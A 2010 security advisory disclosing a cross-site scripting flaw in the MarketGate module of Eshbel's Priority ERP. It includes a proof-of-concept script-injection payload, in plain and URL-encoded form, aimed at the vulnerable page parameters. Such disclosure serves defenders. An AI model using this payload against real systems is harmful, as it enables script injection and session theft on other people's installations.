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Yaniv Miron aka "Lament" Advisory Feb 27, 2010
Eshbel Priority MarketGate module Cross Site Scripting Vulnerability

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I. BACKGROUND

Priority’s ERP

The features listed below are a selection of some of the functionality
available in a selection of the Priority modules.
BI (Business Intelligence), Purchasing, BPM (Business Process Management),
Manufacturing/Production, GL + Financials, Human Resources,
CRM (Customer Relations Management), Project Management,
Order Processing, System Administration, Service and Customer Support,
SDK (Generators), Inventory Control, User Configuration, WMS

http://www.eshbel.com//ERP-Feature.htm

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II. DESCRIPTION

A malicious attacker may inject scripts into the Priority’s ERP application
using the "Referer" field.

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III. ANALYSIS

Exploitation of this vulnerability results in the execution of arbitrary
code using a malicious "Referer" field.

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IV. EXPLOIT

http://example.com/marketgate/PriHtml.dll/WWWxxxxxxxx

Referer: http://example.com/marketgate/priorSysMan.htm

WWWxxxxxxxx=>"'><script>alert(31337)</script>&_yyyyyyyy=>"'><script>alert(31337)</script>

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Referer: http://example.com/marketgate/priorSysMan.htm

WWWxxxxxxxx=%3E%22%27%3E%3Cscript%3Ealert%2831337%29%3C%2Fscript%3E&_yyyyyyyy=%3E%22%27%3E%

3Cscript%3Ealert%2831337%29%3C%2Fscript%3E

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V. DISCLOSURE TIMELINE

Jan 2009 Vulnerability Found
Jan 2009 Vendor Notification
Feb 2010 Public Disclosure

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VI. CREDIT

Yaniv Miron aka "Lament".
[email protected]